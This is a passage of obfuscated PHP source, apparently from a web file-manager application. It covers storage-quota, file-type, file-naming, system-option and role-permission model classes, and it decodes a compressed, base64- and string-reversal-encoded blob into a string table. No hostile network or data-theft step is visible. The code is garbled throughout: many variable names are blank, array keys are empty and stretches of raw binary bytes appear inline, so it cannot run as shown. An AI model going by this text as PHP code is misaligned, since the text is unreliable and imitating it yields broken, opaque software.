$ָ) { $ܳ = $ָ[$[461]] . $[12]; if (!isset($ټ[$ܳ])) { continue; } if ($ָ[$[460]] == $ټ[$ܳ][$[460]]) { $ټ[$ܳ][$[76]] += $ָ[$[76]]; } } foreach ($ټ as $ָ) { $ = $this->parentLevelArray($ָ[$[540]]); foreach ($ as $ܳ) { $ܳ = $ܳ . $[12]; if (!isset($ټ[$ܳ])) { continue; } if ($ָ[$[460]] == $ټ[$ܳ][$[460]]) { $ټ[$ܳ][$[76]] += $ָ[$[76]]; } } } $߬ = array(); foreach ($ټ as $ָ) { if ($ָ[$[76]] == $ָ[$[2174]]) { continue; } $߬[] = array($[431], $ָ[$[431]], $[76], $ָ[$[76]]); } $this->saveAll($߬); } public function userSpaceReset($ = false) { $ =& $_SERVER[]; $ = $this->where(array($[440] => self::TYPE_USER, $[525] => $, $[439] => 0))->sum($[76]); $ = !$ || $ <= 0 ? 0 : $; Model($[533])->userEdit($, array($[1855] => $)); } public function targetSpaceUpdate($Ȣӝ, $) { $ᠵ =& $_SERVER[]; if (!$) { return; } if (!in_array($Ȣӝ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $Ԕ = $this->targetSpaceSize($Ȣӝ, $); if ($Ȣӝ == self::TYPE_USER) { Model($ᠵ[533])->userEdit($, array($ᠵ[1855] => $Ԕ)); } else { if ($Ȣӝ == self::TYPE_GROUP) { Model($ᠵ[541])->groupEdit($, array($ᠵ[1855] => $Ԕ)); } } } public function targetSpaceSize($, $Ԧ) { $ =& $_SERVER[]; $ʐš = 0; $ = $this->targetSourceRoot($, $Ԧ, !0); foreach ($ as $ұ) { if (!$ұ) { continue; } $ʐš += floatval($ұ[$[76]]); $܈ = array($[609] => array($[569], $[550] . $ұ[$[431]] . $[570])); $ = Model($[458])->field($[446])->where($܈)->select(); $ = array_to_keyvalue($, $[12], $[431]); $ = array_unique(array_filter($)); if ($) { $܈ = array($[446] => array($[447], $)); $ʐš += floatval($this->where($܈)->sum($[76])); } } $ʐš = !$ʐš || $ʐš <= 0 ? 0 : $ʐš; return $ʐš; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($ƀ, $ž) { $ =& $_SERVER[]; $ = $[2175] . $ƀ . $[11] . $ž; $Ħ = Cache::get($); if ($Ħ) { return $Ħ; } $ȋ = array($[603] => 0); if ($ƀ != !1) { $ȋ[$[525]] = $ƀ; $ȋ[$[440]] = $ž; } $ = array(); $[$[2176]] = array($[2177] => LNG($[2176]), $[2178] => $this->where($ȋ)->count(), $[574] => $this->where($ȋ)->sum($[76])); $ = KodIO::fileTypeList(); foreach ($ as $ => $) { $ȋ[$[441]] = $this->fileTypeWhere($); $[$] = array($[2177] => $[$[32]], $[2178] => $this->where($ȋ)->count(), $[574] => $this->where($ȋ)->sum($[76])); } Cache::set($, $, 1200); return $; } public function fileNameExist($µ, $ϒ) { $ =& $_SERVER[]; $ = $this->where(array($[461] => $µ, $[32] => $ϒ, $[460] => 0))->find(); return is_array($) ? $[$[431]] : !1; } public function childList($) { $ =& $_SERVER[]; $ = $[2153] . $; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $▻ = array($[461] => intval($), $[460] => 0); $ = $this->where($▻)->select(); $ = $ ? $ : array(); self::$cacheChildList[$] = $; foreach ($ as $) { $ = $[489] . $[$[431]]; self::$cacheSourceInfo[$] = $; } return $; } public function fileNameAuto($ǣ, $, $͠ = REPEAT_RENAME, $߻ = false) { $ =& $_SERVER[]; $ר = get_path_ext($); $َ = $ר ? basename($, $[10] . $ר) . $[2179] . $ר : $ . $[413]; $ů = array($[461] => $ǣ, $[460] => 0, $[32] => array($[412], $َ)); $ʪ՟һ = $this->field($[32])->where($ů)->select(); $ = array_to_keyvalue($ʪ՟һ, $[12], $[32]); return $this->fileNameAutoGet($, $, $͠, $߻); } public function fileNameAutoGet($DŽ, $, $, $ʘ) { $ƙ =& $_SERVER[]; if ($ == REPEAT_REPLACE || !$DŽ || !in_array_not_case($, $DŽ) || $ʘ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $ƙ[10] . get_path_ext($); $ = $ == $ƙ[10] || $ʘ ? $ƙ[12] : $; for ($ɏ = 1; $ɏ <= count($DŽ) + 1; $ɏ++) { $癆 = substr($, 0, strlen($) - strlen($)); $ӆ俏 = $癆 . "\50{$ɏ}\51{$}"; if (!in_array_not_case($ӆ俏, $DŽ)) { return $ӆ俏; } } } } goto a̕; c͙: class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\x79\x73\164\x65\x6d\137\x6f\x70\x74\x69\x6f\156"; protected $jsonField = array("\155\145\x6e\x75", "\x72\x6f\x6c\x65", "\162\157\x6c\145\107\x72\157\165\x70", "\x72\145\147\x69\163\164", "\x65\x6d\x61\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($ō) { return "\123\x79\x73\x74\145\x6d\x4f\160\x74\x69\157\156\x5f{$ō}"; } protected function optionDefault($̛ = '') { $ =& $_SERVER[]; if ($̛ == $[12]) { return $GLOBALS[$[6]][$[410]]; } } } class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\x79\x73\x74\x65\x6d\56\x72\157\x6c\145\114\x69\x73\x74"; public $field = array("\x6e\141\x6d\145", "\x61\x75\x74\x68", "\154\x61\142\145\154", "\x64\x69\163\x70\154\141\x79", "\163\x79\163\164\x65\155", "\144\145\163\143", "\151\147\x6e\157\x72\145\105\170\x74", "\151\147\156\x6f\x72\x65\106\x69\x6c\x65\x53\151\172\145", "\141\144\155\x69\156\151\x73\x74\x72\x61\x74\157\162", "\x73\157\162\x74"); public function listData($֏ = false, $ߓ = "\163\157\162\x74", $ = false) { $嚯 =& $_SERVER[]; $θ = parent::listData($֏, $ߓ, $); if (!$֏) { foreach ($θ as $ǣ => $䟖) { if ($䟖[$嚯[2068]] == 1) { $θ[$ǣ][$嚯[482]] = LNG($嚯[2304]); } } } return $θ; } public function update($צ, $) { $ =& $_SERVER[]; $꩒ѯ = parent::listData($צ); $و = $this->findByName($[$[32]]); if (!$꩒ѯ || $و && $و[$[428]] != $꩒ѯ[$[428]]) { return !1; } if ($و[$[2068]] == 1) { $ = array($[32] => $[$[32]], $[1889] => $[$[1889]]); } $this->filterAuth($[$[442]]); return parent::update($צ, $); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][1320]]) { return !1; } return parent::remove($); } public function add($˰) { $ =& $_SERVER[]; $ض = $˰[$[32]]; if ($this->findByName($ض)) { return !1; } $ = array($[449] => $ض, $[1872] => $[12], $[1868] => $[1876], $[2305] => 1, $[1871] => 0, $[2306] => 0, $[1870] => $this->getSort()); $˰ = array_merge($, $˰); $this->filterAuth($˰[$[442]]); return parent::insert($˰); } private function getSort() { $֢ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $֢[12], $֢[1890]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$쮳) { $ =& $_SERVER[]; $ = array(); $ꑉ = array_filter(explode($[50], $쮳)); foreach ($ꑉ as $쮳) { $ܹߍ = explode($[10], $쮳); if ($ܹߍ[0] == $[2307] && $ܹߍ[1] != $[1223]) { $Ҩ = $ܹߍ[0] . $[10] . $ܹߍ[1] . $[2308]; if (!in_array($Ҩ, $ꑉ)) { $[] = $Ҩ; } } $[] = $쮳; } $쮳 = implode($[50], $); } public function findRoleDefault() { $ =& $_SERVER[]; $̆ = parent::listData(); $ȿƌ = !1; foreach ($̆ as $) { if (!$ || $[$[1888]] == $[198] || $[$[2068]] == 1) { continue; } if (strstr($[$[442]], $[2309])) { continue; } if (!strstr($[$[442]], $[2310])) { continue; } if (!$ȿƌ) { $ȿƌ = $; continue; } $ѽ = explode($[50], $ȿƌ[$[442]]); $׀ = explode($[50], $[$[442]]); if (count($ѽ) > count($׀)) { $ȿƌ = $; } } return $ȿƌ ? $ȿƌ[$[428]] : $[12]; } public function sort($왢, $) { return parent::update($왢, $); } } goto f; F֒: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\271\376\244\266\320\326", "\xda\x94\xd7\xd4\xcb\xea"); $_SERVER[] = explode("\x7c\x1\x7c\x1\x7c\x2", gzinflate(substr(strrev('v$["V9mN\'nvâv XZ R- iN8| '."\0".''."\0".''."\0".''."\0".''."\0".''."\0".'').strrev('RIn)(QP)@|rBBm'."\0".'iďݕi,o%i+6').base64_decode('482xKxm+/8//9/n8Aolm3hw7x5s3b9689+bD57fc9+qF419A/+375G8f+fTRU2l4/A==').base64_decode('S+Q/Ej7mnEn7kD/fOOfsurrO2QdM7/7q+b+6UfvCgx8+/KvHtz776uPXJTML796aOw==').base64_decode('ep/lf9nzq2aUkxZspj9K0XQUfdSwHZsC0mYxa+Ro2CjS3yD96Y1HLb1gOjqNBuiPCg==').strrev(' /IfKSFtVi*30^S!\'5IcWK"').base64_decode('0RwtpdlQU3ur2h7uicZWqclVPWHIkVLXlXVrjMZIMOFolpM0CjrPMWLxdrWGF0e6lQ==').base64_decode('ZDzUnQi1JSOxbgpui3V1RZKV8HgsGm0NtS2tTOmJhxZ3hRTUvryuGsWsWaesoSlrlA==')."\172\32\350\60\364\174\206\6\213\32\153\216\63\126\202\120\222\207\320\64\25\313\371\74\215\164\363\120\106\317\152\345\74\214\126\273\34\51\131\106\101\143\235\136\252\217\161\50\15"."\150\145\307\64\212\151\32\11\217\72\226\46\340\250\255\151\64\321\172\21\252\112\204\243\341\266\244\202\33\250\164\304\143\135\12\114\102\101\263\35\335\122\126\164\206\343\141\5\67".strrev('H3Aj1f'."\n".'m(F"uqŋ*U2bPeQCF|V')."\x4d\xd\xc7\xe3\x34\xe0\x3\xf4\x8e\x46\xf0\xa4\x41\x24\xd6\xd1\x91\x8\xf3\x18\x74\x6e\x59\x14\xb5\x64\x6\xe0\xa7\x2b\x96\xc9\xe6\x1d\x75\x58\xcb\x97\x19\x9a\xe\xd1\xdf\x5a\xf8\x81\x5f\xd3\x6".strrev('f[T2;B`hyXM@P g r̠AY|aT)2g]')."\306\50\302\142\135\4\110\247\71\203\355\226\201\62\320\170\326\314\147\130\330\66\326\103\127\262\106\136\357\56\27\344\54\74\232\36\64\362\31\213\255\257\317\312\111\243\121\276\134"."\161\136\21\53\241\226\214\263\225\156\144\307\304\172\303\371\172\170\252\155\226\255\264\36\101\353\203\306\33\1\254\73\16\352\34\214\215\141\366\226\362\246\226\111\350\26\357\232\141"."\166\240\212\142\145\107\6\226\111\266\16\323\52\264\43\312\0\337\107\253\302\350\255\222\60\304\326\105\106\32\261\140\135\337\51\376\117\7\372\116\104\377\324\3\351\353\207\66\15"."\xea\xf9\xbc\xaa\x8f\xea\xb0\x70\xa\x99\x59\x36\x1b\x8c\xa0\x9d\x32\x8a\x41\x4\xa1\xd1\x48\x4c\x1d\xd4\xec\xc1\xae\xcc\x2c\x95\x94\x82\x26\x17\x33\xfa\x68\xa0\x34\x58\xa2\x51\xb1\xa4\xfb\x5d\x88"."\x8d\x87\xae\xdb\x74\xc2\x12\x5d\xce\x9b\x69\x2d\x2f\x77\x91\x86\x7\x1d\xa7\x94\xd0\x8b\x19\x3c\x12\xd0\x15\x73\xa4\x48\x46\xaa\xa4\xeb\x90\xa9\xdd\xa7\x64\x94\x2e\x65\x95\xd2\xd9\x6c\x34\xdb\xac".strrev('A;otvŘc7ZX(Mj33sfwC!`').base64_decode('oXRat21/m1l0LDPvD+Xz5og/Zhk5o9isTKN5cCJa1H5MAJthpdbMVzDi4M9Mayk7WQ==').base64_decode('/1y2AnluSyvaWd3yh2FlNCuosZwKsmzthl0ybQM3r1nRHEdLD2IKIqpv+Yz8RjFvFA==')."\xf5\x8a\xbc\xe1\xd1\x92\x61\xe9\x36\x6b\xab\xb2\xb8\x2b\x9\x95\xa0\xda\x75\x7f\x8f\xa5\xe5\xa\x5a\xb3\x52\x2a\xa7\xd0\xc8\xc0\x4a\xad\x2\xa3\xb9\x61\x68\x9a\x95\x34\x8e\xfa\x94\x42\xd9\x76\xfc"."\226\216\110\221\201\266\73\30\344\110\326\337\205\327\225\241\147\374\11\104\261\1\74\243\141\246\202\120\107\141\151\24\332\231\114\366\250\221\16\264\45\167\207\325\256\120\262\255\23"."\x9a\xed\x68\x39\xd6\xe6\x28\xa2\xc3\xbc\x4a\x6\x5c\xe9\x47\xeb\xb\x23\x57\x37\xea\xab\x0\xf6\x98\x23\xba\x85\x3e\xdc\x3a\xd6\xac\xc\x99\x99\x94\x39\x1a\x60\x49\x38\x73\x2\x11\x1a\x96\x19\x4f".base64_decode('d8nxx7ViDo9PaszRAQXt4Zx7oKN6MecMsoKJcHx5OK4mYh3JFaE4bOZFhCWj7FO46g==')."\274\77\256\147\320\320\247\35\126\116\53\341\121\143\171\360\342\300\163\305\122\361\202\141\151\321\310\142\74\60\355\176\33\145\362\313\271\130\335\121\243\140\340\266\73\74\205\214\44".strrev('ӠWlSJ!`{_}Zw?z-CC').base64_decode('FTkalNhS97AIbC6aRf0zBgfvXdKy9wwrBcbDy3rDiaTaFU52xtrh6+EQhKImXbastw==')."\x7d\xf4\x67\x0\x66\x77\x80\xfe\xa8\x86\xdd\x21\x6d\x2b\x38\xca\xc9\x8f\x6a\xa6\xd6\xa2\xc9\xe8\xd2\x19\x8d\xcd\x52\x1a\x1d\x29\x68\x39\x89\xc8\x63\x28\x8e\x75\x99\x96\xee\x86\x8c\xf3\xad\x6a\x85"."\221\341\173\4\212\166\352\106\156\20\306\313\300\265\245\315\274\151\151\171\114\31\331\242\320\31\265\312\31\100\255\200\10\213\110\302\50\224\130\143\235\301\162\41\45\5\201\332\73".base64_decode('fKeyESax8KDJdzbTglBzEIpMbeqAZRkLJmag/wWRz5gFjZFMQuz0DKV2FDTNldKpaw==')."\142\273\166\54\307\304\120\313\225\5\15\355\240\11\123\234\323\131\223\312\274\155\254\225\31\75\257\263\161\31\324\331\206\321\0\331\320\206\307\107\55\313\147\17\361\175\10\52\166"."\152\303\216\243\222\230\274\263\370\12\314\50\13\100\36\355\120\61\62\343\42\336\143\351\131\3\26\151\21\315\110\227\146\15\261\76\240\31\20\270\202\43\22\36\165\364\106\243\152"."\x5b\xac\x3b\x89\x58\x6a\xa\x59\x11\x8f\x24\xc3\xc\x6f\x43\xed\x6a\xa8\xad\x67\x9c\x6d\xbc\x62\x46\x21\x3\x26\x30\x6e\xc4\x17\xec\xf3\x70\x13\xcc\x2c\x6a\x4e\x50\x6c\x73\x88\x62\x97\xcc\xa2\xad"."\373\323\120\102\260\336\25\111\31\261\13\320\34\322\316\341\331\14\106\375\132\141\275\277\200\226\200\237\67\324\275\7\53\260\73\320\255\74\2\163\43\210\73\36\106\164\52\142\233"."\177\117\54\1\5\26\141\50\142\300\122\272\5\37\353\351\205\244\202\204\27\213\303\0\74\0\120\151\120\153\4\44\132\221\140\204\271\214\362\133\306\172\115\164\151\21\153\17\353".base64_decode('SCEv+Dl3r/xi5FGVM/2dXaE2f6Iz1DRrNoWuKmT6k52G3X8Sj8O4jdgzVUtHBzFWcw==')."\123\3\64\116\307\273\250\324\236\125\376\202\37\327\202\207\54\320\320\320\300\352\232\76\133\31\104\134\43\340\254\131\314\220\151\201\301\112\225\323\103\154\131\150\151\306\320\340\23"."\x9f\xed\x1f\x31\x18\x45\x39\x9e\xf3\x7e\xc7\x57\xa2\xcb\xf1\x6e\xd2\x9\x55\x94\x9\xe3\xa2\x6a\x69\xfc\x31\x15\xd5\xe8\x94\x6d\x79\x68\xd0\xe2\xc9\xa0\x42\x6\xe3\xd3\x28\x54\xcb\xe7\xd0\x28\x3b"."\203\5\31\50\146\232\306\165\312\76\360\311\342\243\210\307\326\215\324\162\223\112\46\342\34\240\33\53\253\266\141\145\265\66\254\364\264\141\145\145\33\50\310\66\162\105\324\113\106".strrev('U$I^4PЛEӲXlC{{VJ h#U=Wj')."\20\254\67\354\111\101\47\376\236\170\270\43\262\222\107\73\42\341\150\173\102\155\13\265\165\212\74\335\241\56\210\250\131\174\346\266\203\356\374\52\332\115\23\374\344\256\16\143\51".strrev('S:8ƥ'."\r".'mC׶eTOH>t8 :MqP1VXuB')."\x8a\x53\x82\x3a\x10\xb1\x4f\x8d\xf1\x20\xe9\x6\x8b\xa3\xb3\x1\x7c\x5f\x81\x9d\xbd\xa2\x5\x2a\xce\xd3\xaa\x67\xf9\x86\x5b\x1d\x10\xca\x3a\x7c\x5f\xf7\xc4\x11\x95\x13\x69\x68\x6\x42\x44\xc8\x82".base64_decode('MIHMCHzGQDTTckKsOVkh4FBjPeF4CItH1BXxWPdiKDAyqLMGRGD46xgXDVISR+w3iA==')."\5\326\330\161\131\14\372\132\223\15\345\70\375\71\201\376\40\356\37\76\256\27\331\250\247\360\326\313\330\10\26\310\42\262\307\266\115\263\314\277\226\62\115\370\102\36\63\202\343"."\x6c\x67\xe0\x52\x96\xb5\x36\x43\x92\x51\xb6\xa7\x4c\x1f\x67\xa4\xc\x50\x37\xb6\x34\xdc\xad\x32\xcc\xa2\x31\x9\x1b\x29\x20\x1c\x8f\xc7\xe2\x30\x20\x8e\x39\xc4\xe\xdf\x34\x31\x1e\x4e\x30\x72\x8e"."\311\246\301\206\53\30\230\16\130\254\43\16\3\76\37\134\335\77\62\275\256\317\77\75\60\200\2\365\323\116\244\121\210\365\7\134\321\343\241\174\331\342\245\61\177\134\147\57\252"._kodDe('K+Fi6QLe+igJeOre7/Io+e0v8rPy8efwM/NnX//lW8/AJnt/k4F+Mw4gMn7w6ZlC7us=')._kodDe('LYu/7AT464xbEJgQzJ8pVXBLURPujufKZeWjlBOZSYqaZto6mWB5StdVe4RgoSPmdTc=').base64_decode('SUA3zN7I4GgO9Zwo0efvnz6wSCongbzfQpQUbbSDPF/IfxLuGS+K1z3gR7mYFtsSXg==')."\x17\x29\x2d\xd\x74\x0\xd1\x48\xbe\x84\x10\xcb\xc6\x5\x32\xee\xe3\xda\x86\xa9\xf4\x77\x23\x9b\xc8\x9c\xe\x8b\x9e\x48\x5c\x2d\xc0\xce\x72\xd1\x58\xc7\xe4\x4d\x45\x7d\x1d\x4\x4c\x87\xe1\x77\x4a"."\x77\x46\x74\x86\x1e\x8\xee\x8a\x23\xe4\x60\x74\x1f\x25\x49\xb1\xbc\xb4\x67\x90\x93\x33\xc7\x51\x8e\x4c\x46\x49\xc5\xac\xf4\x8\x8f\xa1\x6d\x4\xe6\x69\x32\xe4\xb6\xd3\x5a\x49\x4f\x48\x3d\x54\xd5".strrev('9vLզYn !'."\n".'aKYŤ>,r*JV5d')."\157\164\4\167\320\330\52\150\3\127\132\26\52\164\310\241\234\52\117\100\111\143\14\41\26\253\350\142\321\143\12\5\155\52\211\31\262\21\277\314\330\330\140\135\177\177\271\117\317"."\14\364\41\304\327\374\331\201\15\63\66\326\263\343\134\260\37\375\141\221\120\25\201\251\312\251\241\212\30\261\0\156\7\227\231\271\42\74\231\106\115\213\363\302\45\327\151\311\61".strrev('IwU'."\0".'Б.\'Q$g'."\r".'isv$gXC0!"-')."\133\100\22\224\65\212\150\71\265\111\133\35\225\341\45\306\154\107\57\270\304\323\266\256\131\351\301\216\162\76\357\360\63\133\336\30\202\57\300\132\1\151\271\237\376\50\323\253\25"."\xed\x30\x2d\x26\xfa\x98\x6\xcd\xa8\x99\x56\x2d\x63\xa4\x58\x34\x33\x29\x19\xd5\xc4\x26\xbb\x38\x84\xd8\x99\xa4\x52\xc7\x24\xbb\x4a\xa4\x5b\x69\x8d\xc5\xa2\xe1\x50\xb7\x82\xf7\x73\xd8\x87\x10\xb3"."\220\10\367\204\320\46\206\205\50\211\144\30\204\315\221\166\77\253\167\245\77\2\107\151\36\60\140\330\315\22\345\33\165\107\105\107\326\41\66\227\210\40\72\54\53\210\102\41\206"."\x4f\x14\x3e\x2c\xa\xf4\x61\x4e\xc3\x87\xfa\xe0\xc3\xe7\x60\x9f\x38\xa4\xf9\x84\x64\xd5\x37\x6c\xe8\x23\x24\xc0\x4f\x55\x3e\x38\x6c\xf9\x10\xef\x8b\x18\x6\xcc\xde\x42\x30\xd2\xee\x33\xec\x76\x72"."\x3e\x24\x1f\x20\x49\xac\x41\xce\x20\x16\x78\xe5\xb5\x31\x1f\x6d\x5c\x54\x1f\xd6\xf3\x3e\xd6\x34\x1f\x6b\xb1\x8f\x9\x1\x7c\xe4\xe4\xde\xe\xcd\xea\x45\x8b\xb\x9a\x45\x82\x88\x86\xe\xfa\x30\x3a"."\141\154\366\11\131\257\317\34\51\352\26\311\2\303\44\216\226\76\161\354\364\345\54\263\134\352\141\337\224\142\264\131\0\20\155\346\200\270\151\72\76\46\124\360\311\362\6\150\105"."\210\255\232\252\303\131\275\67\144\374\275\215\200\271\303\111\225\243\364\71\223\125\71\37\156\331\312\6\132\43\10\157\66\262\75\317\225\107\114\57\133\206\171\135\304\360\4\210\320"."\162\261\214\161\207\72\264\141\31\363\252\141\41\333\171\30\32\13\61\257\20\360\13\116\330\53\100\360\212\376\361\107\223\132\56\41\175\316\321\162\354\133\230\224\241\324\11\263\322"."\160\134\117\217\245\205\104\242\135\222\163\270\143\356\305\125\106\365\45\264\254\247\223\76\262\312\252\255\220\352\30\300\261\236\117\330\1\223\47\263\21\147\113\201\317\276\153\5\175".base64_decode('/tqFXhJyGSsJhoM2FpPsBNoAO/JsiJrkZCDWPncML70AId7k/izBRVfRcEdSWRJDlA==')."\316\60\125\132\106\305\231\25\362\217\131\124\134\165\263\341\122\132\110\272\210\153\305\14\205\254\101\273\302\232\226\32\366\221\32\127\161\201\64\356\106\370\130\324\365\65\61\377\362"."\40\140\344\40\335\27\73\31\3\305\304\306\131\6\56\121\263\341\274\206\357\103\40\244\63\230\230\132\31\113\45\142\44\0\254\135\256\357\342\250\130\141\14\45\24\374\1\250\200"."\xf0\x35\x98\xe0\xf8\xc5\x5a\x91\xa2\xee\x21\xf7\x60\xa4\x67\xbb\xc5\x43\xd4\x63\x14\xc7\x8c\xa2\x2c\xba\x14\xd0\x71\xbe\x63\xb\x86\x1\x2f\x75\x8f\xb0\xb5\x7d\xa2\x30\xdd\x62\x84\x68\xd4\x7\x22"."\x53\x5f\xde\x28\xe\x49\x9b\xb9\x90\xdb\xa1\xd6\xe3\xa2\x52\xdb\xa1\x26\x4f\xcb\x19\xd1\xf5\xbb\x16\x34\x20\xf9\xa0\x66\x89\xf1\x63\x64\x8\xd3\x2\x21\x3\xc6\x59\x44\x54\xca\x96\xd5\x86\x5\xff"."\xe2\x2a\x23\x11\x13\xdb\x19\x63\xd\x96\x83\xee\x4a\x69\xb4\xdd\x47\x7e\x3b\x51\xc7\xe5\x15\xca\x67\x4\x93\xe\x96\x89\xd2\x20\xb4\xfc\xa3\x68\x78\xd0\xf\xe9\x48\xd2\xf4\x61\xa1\x31\xfa\xa1\xbb"."\x3c\xbb\xb5\x24\x99\x18\xaa\x97\xb\xed\x70\x37\x87\xc3\xcb\xd1\x9a\x7\x5c\xc1\x63\x5c\xc7\x68\x6\xf0\x1a\xaa\x24\x31\xe0\x34\xc7\x4d\xd0\x68\x4b\x42\x9c\xbe\xa3\x5d\x13\xed\x79\x34\x8c\x58\xfb"."\74\332\352\254\0\136\42\213\361\206\305\306\207\122\67\31\345\22\72\352\63\224\23\265\45\52\322\344\334\102\54\210\151\277\330\53\330\270\212\25\46\306\132\54\247\234\150\20\36"."\x5a\xb5\xb2\x1d\x18\x81\xab\xc7\x3b\x2c\x93\xf3\xc1\x7c\xdb\xf7\x66\x6a\x23\x7\x4d\x7e\x11\xed\xd9\xaa\xa5\xf1\x70\xb1\x17\x15\x20\xa9\x8c\x97\xd1\xf0\x40\x3d\x51\x31\x11\xae\x7d\x86\x82\xd8\x9d".base64_decode('gZYpGMWARXezADo+gPKAr0HixQSZ2WCTfQF2v42eeXZME51JrYCFviwaJJE4oA/kbg==').base64_decode('GW+DMgfBa7FRgkSs3YwSK5koaYxGw4mjzD/DuToaLRrpIbFStWEN4R9UTTojaQGQeA==').strrev('}uNӀnN/<$ɀ;dC1x!3v3')."\xb4\x59\x2\x8c\x90\x14\x89\xa\xe6\xb0\x2e\x1\x3\xb6\x63\x96\x44\x8a\x14\xa5\xc9\x52\x92\xa8\x54\xca\xc5\x27\x89\xb4\x8\xad\xaf\xc\x61\x98\xc5\x90\x91\xbc\x50\x96\x9c\xbd\xe9\x12\xe\xe0\xd3".base64_decode('RkCMaqQ9ZFkMgWk38W0dAsogTAsTbPVV265o5eFhoSZEq8IfDtDlH9AymRi7sZTDlQ==')."\131\145\71\144\365\212\210\316\26\257\112\212\125\317\36\312\347\205\236\207\67\76\141\21\272\354\345\102\62\144\302\142\35\344\340\313\356\135\253\301\370\41\107\136\166\156\106\335\313"."\306\273\111\365\304\54\13\133\234\336\363\10\237\306\352\161\264\313\267\15\32\105\335\346\233\265\145\127\243\131\377\217\171\343\312\221\307\53\144\42\164\301\151\222\304\32\253\53\16"."\xeb\xf2\x9\x82\x8b\x65\x5\xc9\xe2\x5b\xf8\xb8\x97\x31\x1\xe6\x40\x8a\xa8\x8e\x8b\xa5\x8a\x93\xfa\xa5\xe5\xe4\xc2\x10\xb4\x7c\xe9\x78\xe0\x2d\x2b\x12\xb\xd8\x13\xe0\xac\x37\x9f\xce\x84\xd6\x84"."\6\216\362\235\126\56\204\223\360\134\116\124\51\117\347\225\11\366\115\316\207\160\25\47\114\124\15\113\346\265\74\362\347\253\357\277\342\115\32\276\363\366\13\317\277\374\176\300\46"."\xd3\x2e\xa7\xf2\xeb\x69\x4\xae\x3c\xd1\xdf\x2f\x8f\xef\x47\xc3\x42\x4f\x75\xd3\x8a\x3e\xf3\xa8\x47\xf\xeb\x38\xe6\xc5\xbf\x6e\x7f\xf8\xd7\x57\x5e\x73\x6c\xf8\xac\x43\xeb\x67\xf5\x6a\x67\x4f\x39".base64_decode('65Cpqy/+Qf6uP6bunL/0prn33Lb1ssMifwp2vPTwWOf3rwr0TPGfdPWXT7py87evDA==')."\235\172\302\356\373\257\15\174\64\345\322\227\357\172\363\246\314\324\175\177\162\251\275\363\361\67\347\345\356\263\57\175\163\313\61\13\76\332\276\345\230\3\17\176\373\213\317\156\172".base64_decode('bZ+PZ750xuEnXHDz3OePuTmw64DsZJ/9tXfvLb76/l1nnHrKZT+6fuqn91928PMPjQ==').base64_decode('Ppy78PnvfeH4rZ0bA1/xTZty4omN33/0d2177+na99tRLfq3EwtvPNf871k3/uKdkQ==')."\243\266\336\72\170\317\11\133\263\333\176\162\107\335\21\347\333\227\316\272\140\336\364\334\171\337\271\357\232\373\357\127\136\30\177\276\320\373\121\373\236\367\156\355\77\253\166\363\163"."\107\137\141\316\356\73\152\307\317\57\317\174\171\341\361\57\44\216\352\376\345\363\127\317\36\376\317\205\275\271\243\217\374\347\212\163\356\252\231\371\376\344\261\323\56\65\177\365\100"."\303\225\357\330\173\37\236\367\315\43\247\337\265\365\301\341\332\155\77\332\321\366\314\136\343\345\216\307\372\17\171\176\371\115\367\247\36\170\372\351\151\273\222\57\115\172\134\331\136"."\xfc\x43\x6b\xfa\xcc\x3b\x36\xd6\xef\xf9\xe6\x7f\xbe\x73\xeb\xb3\xc1\xc3\x37\x2d\x7f\xf1\xf1\x5f\x3c\x65\x84\x3f\xb6\xce\x3b\x66\xdd\xde\x93\xbf\xb8\xc5\x39\xec\xe3\xfd\x7e\x31\x30\xe9\x89\xc7\xe".strrev('~9vӂ8^~z7s:of>')."\xa9\x4d\x7\xff\x2e\xa5\x7e\x6b\xd9\x9b\x53\x6f\x7d\xa1\x21\x9e\x9\xaf\x3f\x77\x4b\xdf\xb3\xa1\x87\xa2\x73\xd7\x74\xff\xcd\xde\xbd\xcf\x51\x1f\x64\x2f\x7f\xea\x8b\x97\x9c\xf7\xd6\xde\xd3\x7b\x4e"."\232\263\346\267\357\335\175\304\63\317\257\131\242\344\307\172\356\116\117\232\364\346\366\201\225\35\223\142\353\363\376\133\157\335\177\277\257\367\235\324\165\106\337\257\215\307\156\14\154"."\x7d\xf3\xb6\xe9\x37\xa5\x33\x8f\xfd\xfe\x90\x1b\x7e\xb9\xeb\x7f\xde\xed\x7e\xbe\xb8\xef\x1\x7b\x2e\x99\x7b\x62\x9d\xf9\xb7\xb3\xce\x69\x68\x38\x3f\x7f\xf3\xa9\xf9\xdd\xaf\x64\xe6\x14\x1e\xbd\xb8".base64_decode('f9/9em+1tvwmYzZ9456PZo38pHFGz9OfHH/PqYrytH/0oZ5JP/71/CX28BMXnbbroQ==')."\17\116\73\347\320\330\265\127\317\55\234\162\151\347\335\73\107\235\275\77\117\317\376\315\353\307\177\165\373\76\332\175\67\274\270\160\367\325\207\256\376\315\236\163\315\313\376\161\311"."\325\357\225\327\257\330\376\364\243\137\150\274\162\277\3\367\175\243\353\274\375\214\321\165\163\246\374\350\0\343\223\247\336\77\71\364\360\262\25\345\315\337\134\272\370\303\311\277\173".base64_decode('7KmOnbMa7jvr5rEHTj7rK/c8kn8ocWbqW2sfOPWPqSc2D6TX/PmX+7c2dl771tdmfg==')."\xfd\xe5\xc3\x27\xf5\x2c\xd1\x17\x4e\x39\xcb\x77\xfb\xff\xfc\x70\xea\x3\xe7\x5d\xf0\xd2\x6f\x8e\x9b\x7c\xf1\x25\x3b\xa6\xad\x3e\xf4\xbb